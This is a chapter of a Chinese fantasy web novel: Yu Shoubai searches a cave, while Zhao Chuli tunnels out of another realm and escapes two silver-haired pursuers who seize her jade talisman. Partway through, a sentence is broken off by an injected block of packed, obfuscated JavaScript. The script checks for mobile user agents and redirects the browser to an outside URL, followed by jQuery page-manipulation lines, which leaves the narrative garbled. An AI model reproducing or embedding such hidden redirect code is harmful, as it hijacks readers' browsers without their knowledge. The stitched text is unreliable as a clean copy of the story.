第六十九章
进入水溶洞不久,就有小舟停靠岸边,洞中没有光线,虞守白按照记忆,摸到了壁龛,火光很快划破黑暗。
虞守白提灯跃上小舟,将灯搁在船板上,捞起了船桨,船桨击水发出噗通闷响,小舟缓缓前行。
两岸是造型奇特的溶洞,头顶钟乳石倒悬,不时有积水落下,发出清泠的破开水面的声音。
虞守白一边划船,一边用法力寻找跟黑岩崖壁类似的孔洞。
类似的孔洞就是连接异界的通道,她此刻想必也在设法离开,虞守白心中揣度着她可能遇到的场景,是在开凿岩壁?还是被异灵族追杀?体力还能支撑多久?抑或是已经......
他迅速收回思绪,专心寻找孔洞。溶洞有大片被流水腐蚀的凹凸,有的呈现孔洞状,虞守白一个不漏地看过去,并不是崖壁上的类型。
崖壁上的孔洞并非天然形成,而是人工开凿,是前人留下提醒后人的,虞守白担心错过,干脆躺在了舟上,两手抬高继续划浆,观察整片洞顶,以免错过了线索。
这片溶洞并不算广阔,小舟载着他不到半刻,便来到了师门的闭关之地,虞守白提灯上岸。
这里还存放着一些常用之物,有油灯、坐褥、梳篦,铜镜,还有一个火塘。
火塘里余有一些干柴,虞守白快步走近,点燃了柴火,瞬间火光炽亮,整座溶洞的构造一览无余。
只见洞顶密布着蜂槽似的、被水腐蚀的孔洞,虞守白挨个运功扫视,均不是崖壁上的那种。
他凝神细听滴水的声音,凡是有水滴下的地方,他都攀上去在附近仔细寻找,重复往返,不知疲惫。
时间过得很快,结果一无所获,虞守白半点不曾动摇,依旧攀附在溶洞顶壁,用功力寻找,正当他换气时,耳边忽然擦过一股带着力道的风声,夹杂着鸟类翅羽发出的振动。
虞守白倏地踅身,腾空追了过去。
几息之后,一只蝙蝠被扔到了火塘边,滚了几圈后,才吱哇乱叫着又飞了起来,黑影一线疾速掠过水面。
虞守白闭眼定了定心神,心里盘旋着那个始终不愿面对的疑问:
赵初荔,你还活着吗?
-
被卡在洞口的赵初荔正在卖力地凿壁,幸亏匕首坚硬锋利,经过她的不懈努力,用时近一个时辰,已经将巴掌脸大小的孔洞,开凿成了一个圆脸大小。
她吭哧吭哧,用力地挖,心中澎拜着求生的希望,只要能将孔开到一个肩宽的距离,她就能钻出去,被拽回狮子岭!
鬼车鸟名副其实,能够出入异界,她的运气还不错!
赵初荔发扬不怕苦不怕累的精神,两眼闪着疯狂的熠亮,哐哐乱挖岩石。
“阿兄,咱们分头去找。”
埋葬了莲花奴的尸体,月光奴身边多了一位修长的男子,男子高挑异常,骨相优越,五官异常完美,和月光奴一样,同样是银发及腰,如锦瀑一般华丽,且男子气质超尘,没有一丝人间烟火的痕迹,犹如降临凡间的神祗。
“不用,你跟我来。”那名被唤作阿兄的男子脸上现出了阴霾,那阴霾很快化作刻毒的残忍:“她身上有莲花奴的气味,逃不了的。”
月光奴一听,即刻涌出了泪水,那个恶毒的人类,她吃了莲花奴的肉!
“阿兄,我要吃她的肉,啃她的骨,给莲花奴报仇!”月光奴的金瞳闪现异光,激动得浑身颤抖。
“好。”男子倏地向前,步履快得眼花缭乱,月光奴深吸口气,用阿兄教她的步法,迅速跟了上去。
赵初荔对着挖好的岩洞伸出脑袋,拼命一顶,嘴里发出受罪的惨呼声,她的头被卡住了。
“歇一会儿吧。”系统冷不丁冒出话。
赵初荔磨了半天脑袋,终于撤退回来,她叹口气,揉着被剐得生疼的头,埋怨道:“洞口还是太小,这得挖到什么时候啊?”
过了一会儿,系统才说:“还得再挖。”
赵初荔眼前一黑,瘫在岩壁顶上,四肢悬空。
“那鬼车鸟当真稀奇,都过了那么久,它竟还拽着你。”系统啧啧道。
赵初荔虚弱地抬起头,将匕首插进岩缝:“还要加上辟金藤的功劳。”
“不错不错,辟金藤也是好东西,郑辰对你真够意思。”系统表扬。
“他们现在一定在外面找我。”赵初荔狠狠凿了一记,松开的碎石砸落地面,声音并不小。
她一边施工,一边对系统说:“等我出去以后,马上给小辰升官。”说完这句,她又想到了别的,目光黯淡。
“他们想必都急疯了,特别是虞守白。”系统轻轻接声:“他现在不知道在何处找你呢。”
赵初荔眼眶变得滚烫,大滴眼泪砸下来,随着石砺掉落。
“都是我不听他的话,才被鹿妖骗到这里,不过幸好,我已经杀了那鹿妖,也算出了一口气。”她一刻不停地凿着岩壁。
“我有个问题想问你,你一向对妖邪敏锐,为何这次没能提前发现?”赵初荔声音变冷,透着极硬的生分。
系统愕然:“不是吧?你居然连我也怀疑?难不成是我在害你?”
赵初荔冷笑道:“倒也不排除可能。”
系统气到失语,半天才缓过来,耐着性子解释:“那麋鹿并非妖邪,而是异灵族,异灵族修行后,可以化作人形,也可化兽形,它身上并无妖气,更无妖丹,它虽然有法力,但我却无法感知,因此才着了它的道。”
赵初荔枯燥地掘着岩壁,保持缄默。
“异灵族的地界名叫阿落,是人界和妖界之间的灰色地带,同时它也是人界的一个镜像,依附人界而产生,所以我经过重装之后,才能继续发挥作用,用法力保护你,这样解释你听懂了吗?”
赵初荔听完只是简单笑了下:“懂了,刚才是我误会你,我认错。”
系统被她的大方磊落(也可称作厚黑)震惊,半天没续上话。
“你说这里是人界的镜像,难道我们身处之地,并非狮子岭?”赵初荔很快抓住了关键点追问。
系统只好翻页,对她道:“没错,若能通过孔洞离开阿落,出去后应该是阿落镜像的本源,不会是狮子岭,有可能是世上任何一个地方,天涯海角。”
“那也就是说,他们在狮子岭根本找不到我?”赵初荔意识到了问题的严重,一颗心开始无底下沉。
系统说是:“不过虞守白也不傻,我想他早晚能发现这个问题。”
于是赵初荔自我安慰,甚至悲极生喜道:“只要能出去就好,倒是省了下山的脚力了。”
她挖啊挖,洞口越开越大,足够一个头伸出去,只要再扩大一圈,把肩膀缩起来,她就能挤出去!
系统正打算开口,却不期然收住了声音,赵初荔心里咯噔一下:“怎么了?你想说什么?”
系统嘶了嘶:“赶紧停手,别挖了,有强大的法力正在向这里靠近。”
赵初荔吓得握紧了匕首,不敢再撬,以免发出声响。
“肯定是月光奴找来了。”她将手里的匕首缠紧,机警地观察四周。
“不是之前那个,比那个要强,很强很强,我重装过,不一定能抵挡,你快别出声,保持安静!”系统居然紧张起来。
淡淡的恐惧莫名袭来,赵初荔吊在岩壁顶上,像一只泄气的鹌鹑,连呼吸都恨不得省略。
随着敌人的靠近,恐惧感越来越占领心头,赵初荔忽然改变了主意,她猛地将匕首插进了孔洞旁的岩壁,用力一撬,碎石落地,哗啦作响。
“我很快就能出去,不如搏一回!”她像抢着干活的工地人,不停地撬打,着急到十个指头抠进去,用力松动撬开的石层。
一记又一记,直到赵初荔直觉可以一试,便将头钻了出去,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865460|164331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次并未被卡,她的脑袋丝滑地进入了灰霾中,视野之内全是模糊,接着她又钻出了半个肩膀,双脚蹬在外面的岩壁上,使出吃奶的力气继续往外挤。
那股强大的法力愈发赫然靠近,力量叵测,系统又急又怕,连连鼓励她:“钻啊!钻啊!拼命钻啊!”
赵初荔的肩膀磨出了血,终于挣扎出了左肩,她拼命侧身,给右肩腾出位置,没想到一只脚踩空,身体又往下掉,卡住了孔洞。
“你咕蛹咕蛹,用力钻啊!”系统恨不得长出手来推她一把。
岩壁并不算厚,赵初荔右肩卡在里面,便想尽了办法把左肩和整个身体往外钻,再把右肩带出去,她的左臂外侧已经磨出了很深的伤口,疼得龇牙咧嘴,依旧硬着头皮继续咕蛹。
她蕴足全部力气,终于把右肩挤了出去,顿时感觉一松,大喜过望,半个身子都钻了出去。
系统开始瑟瑟发抖:“快!再快些!我刚重装,元气没有恢复,对付不了那么强的对手,你要自己争气才行。”
赵初荔两手撑住了岩壁外侧,毫不顾惜磨破娇嫩的皮肤,蹬着两只脚拼命往灰霾里扑腾。
“啊啊啊啊啊啊啊!”系统惊慌失措地大喊,巨大的法力从四面八方逼人而来,死死压制住系统的反抗。
“你快咕蛹!快啊!”系统未出手便惨败,敌人即将赶到!
“阿兄,我看见了,她在那里!”隔着数十丈,月光奴眼中依然闪过深深恨意,指着高高吊在岩顶的两只脚。
银发男子转眼消失在她身边,不到一息功夫,便到了孔洞下,他仰头望着拼命逃生的赵初荔,唇边浮起一丝寒森的笑意。
男子抬高手臂,五指虚抓,笑着慢慢往后拉。
一股怪异而无法抗拒的力道突然裹挟上来,将赵初荔爬出大半的身子重新吸回了岩洞。
她绝望又不甘心地大喊:“妖怪,你受死。”一边将两手展开,撑在岩壁外侧,架住了身体不被吸回去。
“玉符牌,给我杀了他!”她病急乱投医,谎话恐吓道。
“阿兄小心,她有一个厉害的武器!”月光奴跟玉符牌交过手,差点被玉符牌的法力所伤,自然要及时告诉兄长。
男子本想用蛮力将赵初荔拽出的,闻言顿了一下,赵初荔趁机往外钻,她已经有了经验,也不惜受伤,很快钻得只剩下两只脚。
系统安静如鸡,压根没有反应,男子皱了下眉,掌根使劲向后一拉,正值此际,赵初荔将脚踩住了洞口,拼命一蹬,向着茫茫无际的灰色虚空扑了进去。
男子不满地看了妹妹一眼,掌心里吸附着赵初荔的玉符牌:“你说的武器是这个?”
月光奴不解地歪下头:“正是,这回怎么没用了?”
男子注视着掌心的古玉,白玉般的手指摩梭着玉面符文,紧紧将它一攥,揣进了怀里。
“阿兄真厉害。”月光奴羡慕地说,很快又面露失落,望着赵初荔消失的孔洞,恨声道:“居然让她跑了。”
男子琢磨着她不寻常的举动:“应该有东西在外面帮她,难道是那些鸟?”
月光奴则显得伤心不已:“若她出去以后死了,莲花奴的仇就再也报不了了。”
“我早就让你们跟我出去,偏要任性不从,现在小妹惨死,你不能再独自待在阿落,跟阿兄走吧。”男子很快斩断思绪,不再纠结赵初荔的去向,一双明熠的金瞳严厉地望着妹妹。
月光奴呜咽几声,不舍地望着他们兄妹一起长大的家,最后面含委屈点了点头。
男子牵起她的手,语气放柔:“阿兄在外面已经有了更好的家,早就想把你们接过去了,只可惜——”
“阿兄,都是我不好。”月光奴痛哭着扑到了阿兄的怀里:“我应该听你的,这样小妹也不会遇到恶人,最后丢了性命。”
“别哭了,月光奴。”男子安抚着妹妹,金瞳渐渐变冷。